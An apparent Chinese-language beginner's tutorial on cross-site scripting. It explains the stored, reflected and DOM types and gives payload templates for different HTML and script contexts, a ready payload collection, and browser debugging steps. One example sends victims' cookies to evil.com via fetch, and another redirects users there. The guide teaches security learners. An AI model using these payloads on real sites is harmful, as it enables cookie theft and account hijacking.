XSS 初探 —— 从上下文混淆到 Payload 构造的完整指南

深入理解 XSS(跨站脚本攻击)的核心原理、三大类型对比、不同 DOM 上下文下的 Payload 构造方法,以及 F12 实操调试技巧。一份面向初学者的完整 XSS 学习笔记。

📖 阅读指南:本文系统梳理了 XSS 攻击的完整知识体系,从基础概念到实操调试,适合 Web 安全初学者阅读。建议配合浏览器 F12 开发者工具边读边练。

什么是 XSS & 核心原理

XSS(Cross-Site Scripting,跨站脚本攻击) 是 Web 端最常见的安全漏洞之一。

简单来说,它的本质就是:攻击者通过某种方式,把恶意代码(通常是 JavaScript)注入到目标网页中。当普通用户浏览该网页时,浏览器会误以为这是网站本身的合法代码并直接执行。

ℹ️ 为了避免与 CSS(层叠样式表)缩写混淆,安全界特意将其缩写为 XSS


一、XSS 的三大核心类型

根据恶意脚本的存储方式触发路径,XSS 主要分为以下三种类型:

类型危害程度攻击机制常见场景
存储型 (Stored XSS)🔴 高恶意代码提交后被永久保存在服务端数据库。每当有其他用户访问该页面,服务器就会从数据库读取并返回恶意代码,导致所有访问者被攻击。博客评论区、论坛留言、用户个人资料编辑
反射型 (Reflected XSS)🟡 中经过服务器后端处理,恶意代码包含在 URL 请求参数中。服务器收到请求后,直接把参数"反射"回页面 HTML。必须诱骗目标用户主动点击恶意链接才能触发。搜索框、带有 URL 参数的报错提示页面
DOM 型 (DOM-based XSS)🟡 中不经过服务器后端处理,而是前端 JS 代码在解析 URL(如 location.searchlocation.hash)时,不安全地直接修改了 DOM。纯前端渲染的单页应用(SPA)

📎 延伸:同步与异步

在编程和日常生活中,"异步"(Asynchronous) 的核心思想就是:不需要原地傻等一件耗时的事情做完,而是在等待的同时去干别的活;等那件耗时的事情好了,再通过某种机制回来处理结果。

与它相对的概念叫 "同步"(Synchronous),意思是:一件一件排队做,前一件事没做完,后一件事必须死等。同步代码指的是按顺序逐行执行,前一行没执行完前会阻塞后续解析的操作。

阻塞式页面渲染与即时触发

机制:当浏览器解析 HTML 文档时,一旦遇到 <script> 标签或内联事件,HTML 解析器会暂停构建 DOM 树,转而立刻执行该段 JavaScript 代码。

在 XSS 中的表现

攻击方式说明
内联脚本注入攻击者注入 <script>alert(1)</script>,浏览器读取到该位置时会立即同步执行,页面在此期间是暂停渲染的。
页面劫持/重定向利用同步的 window.location.href = 'http://evil.com',在页面尚未加载完用户内容前,同步打断当前页面流程,强行将用户重定向至恶意网站。

二、XSS 的核心:上下文混淆

XSS(跨站脚本攻击)攻击的本质在于**"上下文混淆"**:当应用程序将用户可控的数据未经充分过滤或转义,直接拼接并输出到 HTML 页面中时,浏览器会将其误认为是可执行的代码或指令。

了解 XSS 模板的核心逻辑,关键在于识别注入点在 HTML DOM 中处于什么上下文(Context)。根据上下文环境的不同,常见的注入 Payload 格式可细分为以下几类:

不同上下文下的标准 Payload 模板

1. 标签间注入 (HTML Body Context)

数据直接输出在 HTML 标签闭合处(如 <div>数据</div>)。

直接注入 <script> 标签:

html
<script>alert(1)</script>

借助带有事件回调的标签(常用 <img><svg>):

html
<!-- 触发图片加载失败事件 -->
<img src="x" onerror="alert(1)">

<!-- SVG 标签在解析时即触发 onload -->
<svg onload="alert(1)">

2. HTML 属性内注入 (Attribute Context)

数据输出在标签属性值中(如 <input value="数据">)。

模板 A:闭合属性与标签(跳出属性)

html
"><script>alert(1)</script>
"><img src=x onerror=alert(1)>

模板 B:利用现有标签事件(无需闭合标签)

html
" onfocus="alert(1)" autofocus="
" onmouseover="alert(1)

模板 C:伪协议(适用于 hrefsrcaction 等属性)

html
<a href="javascript:alert(1)">Click Me</a>
<iframe src="javascript:alert(1)"></iframe>

3. JavaScript 脚本块内注入 (Script Context)

数据输出在 <script> 内部(如 <script> var name = "数据"; </script>)。

模板 A:闭合当前的 JavaScript 语句或闭合整段脚本

javascript
"; alert(1); //
'; alert(1); //
</script><script>alert(1)</script>

模板 B:利用 ES6 模板字符串(若输出在反引号 `数据` 内)

javascript
${alert(1)}

🎯 速查表:你的输入最终显示在哪里?

plaintext
├── 在 <script> 标签内部 ──────→ 用 Quotes 闭合变量 (例如 "; alert(1); //)
├── 在 <a> 的 href 属性里 ─────→ 用 伪协议 (例如 javascript:alert(1))
├── 在 普通属性 里 (如 value) ──→ 先用 "> 闭合属性,再接 <img> 或 <svg>
└── 在 <div> 等标签文本间 ────→ 首选 <script>;若被拦截,换成 <img onerror> 或 <svg onload>

🚀 简洁版 Payload 收藏

html
<script>alert(1)</script>
<img src=1 onerror=alert(1)>
<svg onload=alert(1)/>
<a href=javascript:alert(1)>xss</a>

三、深入理解:为什么需要"闭合"?

Q1:为什么要闭合?难道直接在后面添加 script 脚本不行吗?

这是因为 HTML 解析器在处理代码时,有着非常严格的语法规则。如果不闭合,你输入的脚本只会被浏览器当作普通文本数据处理,而根本不会被当作可执行的代码

通过下面这个对比,就能一眼看懂原因:

假设场景

假设后端的渲染逻辑是把用户的输入放到 value 属性中:

html
<input type="text" value="[这里是用户的输入]">

情况一:❌ 不闭合,直接在后面加 <script>

如果你在搜索框直接输入:

html
<script>alert(1)</script>

最终生成的 HTML 页面代码是:

html
<input type="text" value="<script>alert(1)</script>">

浏览器是如何解读的?

浏览器从左往右解析 HTML。当它看到 <input type="text" value=" 时,它知道:接下来引号里的所有内容,全是这个输入框的文本值。

即使引号里面出现了 <script>,浏览器也会认为这只是用户想在文本框里显示的一串普通文字(就像有人在搜索框搜"如何写 script 标签"一样)。

🎯 结果:页面上成功展示了一个输入框,里面填着 <script>alert(1)</script> 这一串字,没有任何弹窗触发

情况二:✅ 进行了"闭合"操作

如果你输入的字符串是:

html
"> <script>alert(1)</script>

最终生成的 HTML 页面代码是:

html
<input type="text" value=""> <script>alert(1)</script> ">

浏览器是如何解读的?

  1. 浏览器看到 <input type="text" value=",开始读取属性值。
  2. 读到了你输入的第一个 ",浏览器认为:value 属性到此结束(闭合)!
  3. 紧接着读到了 >,浏览器认为:<input> 这个 HTML 标签到此完全结束(闭合)!
  4. 接下来读到了 <script>alert(1)</script>:此时浏览器已经位于标签外部,它会判定这是一个独立的 JavaScript 代码块,于是立刻开始运行它!

🎯 结果:代码被成功执行(触发弹窗)。


四、反射型 vs DOM 型:深度辨析

Q2:反射型和 DOM 型有什么区别?反射型搜索框如何传导到受害者?

这两个类型确实最容易让人混淆,尤其是它们都会用到 URL 参数。

我们可以用 "厨房做菜" 来打个比方,秒懂它们的区别:

类型类比核心特征
反射型客人(攻击者)把毒药写在菜谱上提交给后厨(后端服务器),后厨照单炒完菜送回前端,前端浏览器端出来吃了(触发攻击)。⚠️ 经过服务器
DOM 型客人把毒药直接塞在桌上的调料瓶里,前厅服务员(前端 JS 脚本)在没查验的情况下直接拿来拌在菜里,用户吃了(触发攻击)。不经过服务器

一、反射型 XSS:是怎么传导给受害者的?

很多人的疑问是:"我在搜索框里输入恶意代码,被攻击的不就是我自己的浏览器吗?怎么去攻击别人?"

答案是:攻击者不会自己去搜,而是构造一个带恶意参数的"特制链接",诱骗受害者去点击。

完整传导链路(5 步)

plaintext
[攻击者]
  │ 1. 构造恶意链接
  ▼
[受害者点击链接] ──── 2. 发送请求带恶意参数 ────→ [目标网站服务器]
  ▲                                                      │
  │                                                      │ 3. 未过滤参数,
  │                                                      │    直接拼进HTML返回
  └─────────── 4. 返回带恶意脚本的HTML ──────────────────┘
  │
  └─ 5. 受害者浏览器解析并执行脚本,Cookie/数据泄露!

真实场景举例

  • 找到漏洞:攻击者发现某个电商网站 http://shop.com/search?keyword= 的搜索框有反射型 XSS 漏洞。
  • 精心构造 URL:攻击者把 keyword 的值换成一段盗取 Cookie 的脚本,生成如下链接:
url
http://shop.com/search?keyword=<script>fetch('http://evil.com?c='+document.cookie)</script>
  • 发送给受害者:攻击者把这个链接通过邮件、社群或伪装成"限时优惠卡券",发给普通用户小明。
  • 小明点击链接:小明的浏览器向 shop.com 发起请求。
  • 服务器"中招"并反射shop.com 的后端服务器收到请求,把 keyword 里的代码原封不动地渲染回页面,返回给小明的浏览器。
  • 代码执行:小明的浏览器收到 HTML,以为这是 shop.com 的正常内容,运行了里面的 <script>,小明在 shop.com 的登录凭证(Cookie)就被发送给了攻击者。

⚠️ 关键点:反射型必须经过后端服务器把参数"反射"回 HTML 页面中。

二、DOM 型 XSS:它和反射型有什么不同?

DOM 型 XSS 完全发生在浏览器端(前端),服务器端甚至根本不知道这段恶意代码的存在。

为什么服务器会不知道?

在现代网页中,常用 #(Hash 锚点)或者前端 JavaScript 来处理页面变化。比如这个链接:

url
http://shop.com/index.html#name=<script>alert(1)</script>

URL 中的 # 后面的内容不会发送给服务器,服务器收到的只是 http://shop.com/index.html

但是,前端的 JavaScript 可以读取到 # 后的内容(通过 location.hash)。

触发过程举例

假设网站前端写了这样一段不安全的 JS 代码:

javascript
// 1. 获取 URL 中 # 号后面的内容
var userName = location.hash.substring(1);

// 2. 不做任何转义,直接用 innerHTML 写进页面
document.getElementById('welcome').innerHTML = "欢迎你," + userName;

当受害者打开攻击者发来的链接 http://shop.com/index.html#<img src=x onerror=alert('DOM型XSS')> 时:

步骤说明
请求发送给服务器服务器只接收到 index.html,返回了普通的静态页面。
前端 JS 执行浏览器加载完页面后,前端 JS 运行,读取了 location.hash 里的恶意代码。
DOM 被破坏JS 把它用 innerHTML 插入到了页面中,浏览器执行了恶意脚本。

三、一张表搞清三者的本质区别

对比维度存储型 XSS反射型 XSSDOM 型 XSS
恶意代码存在哪里?数据库/文件系统(服务端)攻击者发送的特制 URL 中攻击者发送的特制 URL 中
是否经过服务器处理?是(保存到数据库,再读取输出)是(服务端直接拼接并返回)❌ 否(纯前端 JS 拼接 DOM)
攻击载体正常访问被污染的页面点击恶意链接点击恶意链接
防御重点服务端入库过滤与出库转义服务端输出转义前端慎用 innerHTMLdocument.write 等不安全 API

五、F12 实操调试:分析 DOM 上下文

Q3:如何在 F12 里实操分析 DOM 上下文?

在浏览器 F12(开发者工具)中定位输入的 DOM 上下文,本质上就是寻找**"你的输入被放置在 HTML 源码的什么结构里"**。

下面以 Chrome / Edge 为例,用一套标准的操作流程和实际场景,带你快速完成分析与 Payload 匹配。

一、实操分析 4 步走

第一步:发送唯一探针字符串 🎯

在目标输入框或 URL 参数中,提交一个容易被全局搜出的高辨识度字符串(探针),最好包含常见的特殊字符(用于测试是否被转义)。

🧪 推荐探针

text
test1234'"><

第二步:利用 F12 检索定位 🔍

  1. F12(或右键 → 检查)打开开发者工具。
  2. 快捷键 Ctrl + F(Mac 上为 Cmd + F),输入你的探针字符串 test1234
  3. 检查匹配到的所有位置(注意区分是服务器渲染的 HTML 还是 JS 变量,或是后续动态生成的 DOM)。

第三步:分析探针的 DOM 结构(上下文)📋

定位到输入点后,查看探针被哪个标签、属性或脚本块包裹:

检查项分析要点
看转义情况探针里的 ' " < > 是否被变成了 &#39; &quot; &lt; &gt;?如果全部被转义为实体字符,且不在 javascript: 属性或未经过 DOM 渲染,通常说明过滤有效。
看闭合需求探针的前后紧挨着什么符号?

闭合需求速查:

探针所在位置闭合方法
"..."需要用 " 闭合
<div>...</div>不需要闭合属性,但可能需要闭合其他标签
<script>var a='...';</script>需要用 ' 闭合变量,或用 </script> 闭合整个脚本块

第四步:构造 Payload 并验证 ✅

根据闭合逻辑拼接代码,提交后再回 F12 观察:你的 Payload 是否成功破坏了原本的 HTML 结构,并独立成为了一个新的标签或执行语句?


二、常见 DOM 上下文实操图解

场景 1:标签文本间上下文

F12 看到的渲染效果:

html
<p>搜索结果:test1234'">&lt;</p>
  • 上下文分析:处于 <p> 标签之间,且 < 被转义,但如果直接输入新的标签无阻碍。
  • 测试 Payload<script>alert(1)</script><svg onload=alert(1)>

✅ 成功突破后的 DOM 结构:

html
<p>搜索结果:<svg onload=alert(1)></p>

场景 2:HTML 属性上下文

F12 看到的渲染效果:

html
<input type="text" name="user" value="test1234'"><">
  • 上下文分析:探针落在了 value="..." 的双引号内部。
  • 构造逻辑:需要先用 " 闭合前面的 value 属性,再用 > 闭合整个 <input> 标签,最后接新标签。
  • 测试 Payload"><img src=x onerror=alert(1)>

✅ 成功突破后的 DOM 结构:

html
<input type="text" name="user" value=""><img src=x onerror=alert(1)">">

场景 3:JavaScript 脚本块上下文

F12 看到的渲染效果:

html
<script>
    var searchKeyword = "test1234'"><";
    console.log(searchKeyword);
</script>
  • 上下文分析:处于双引号包裹的 JS 字符串变量中。

构造逻辑:

方案方法原理
方案 A闭合 JS 语句" 闭合变量,用 ; 隔开,写 JS 代码,再用 // 注释掉后面的双引号。
方案 B直接标签截断HTML 解析器的优先级高于 JS 解析器。直接用 </script> 可以强制终止当前脚本块!

测试 Payload:

  • 方案 A:"; alert(1); //
  • 方案 B:</script><script>alert(1)</script>

✅ 成功突破后的 DOM 结构(以方案 A 为例):

html
<script>
    var searchKeyword = ""; alert(1); //";
    console.log(searchKeyword);
</script>

场景 4:URL / 属性伪协议上下文

F12 看到的渲染效果:

html
<a href="test1234'"><">点击查看个人主页</a>
  • 上下文分析:探针落在了 <a> 标签的 href 属性中。
  • 构造逻辑:当点击该链接时,浏览器会解析 href 里的协议头。直接使用 javascript: 伪协议即可,不需要任何闭合符号(除非有引号包裹干扰)。
  • 测试 Payloadjavascript:alert(1)

✅ 成功突破后的 DOM 结构:

html
<a href="javascript:alert(1)">点击查看个人主页</a>

三、F12 调试小技巧 🛠️

利用 Elements 面板 vs Sources 面板

面板显示内容
Elements(元素)显示的是浏览器解析并渲染后的最终 DOM 树。
Network / Sources(源码)显示的是服务器返回的原始 HTML 响应。

💡 技巧:如果 Sources 里有你的 Payload 但 Elements 里没有触发,说明可能是前端 JS(如 React/Vue)对数据做了二次安全处理。

使用 Console(控制台)验证

如果你不确定某个 DOM 节点是通过什么 JS 逻辑渲染的,可以在 Elements 面板选中该节点,然后在 Console 里输入 $0$0 代表当前选中的 DOM 元素),直接调出进行调试。


总结

本文从 XSS 的基本概念出发,逐步深入到:

  1. 三大核心类型(存储型 / 反射型 / DOM 型)及其对比
  2. 上下文混淆的核心原理,以及不同 DOM 上下文下的 Payload 模板
  3. "闭合" 的必要性 —— 为什么必须跳出原有结构才能执行代码
  4. 反射型 vs DOM 型 的深度辨析,包括完整的攻击传导链路
  5. F12 实操调试的标准化流程和常见场景图解

掌握这些知识后,你就能:

  • 🎯 准确判断 XSS 漏洞的类型和触发条件
  • 🛠️ 针对不同上下文构造有效的 Payload
  • 🔍 使用浏览器开发者工具有条理地分析和验证漏洞

⚠️ 声明:本文仅供安全学习与研究使用,请勿将相关技术用于非法用途。

新故事即将发生
ctf-web 总体框架

评论区

评论加载中...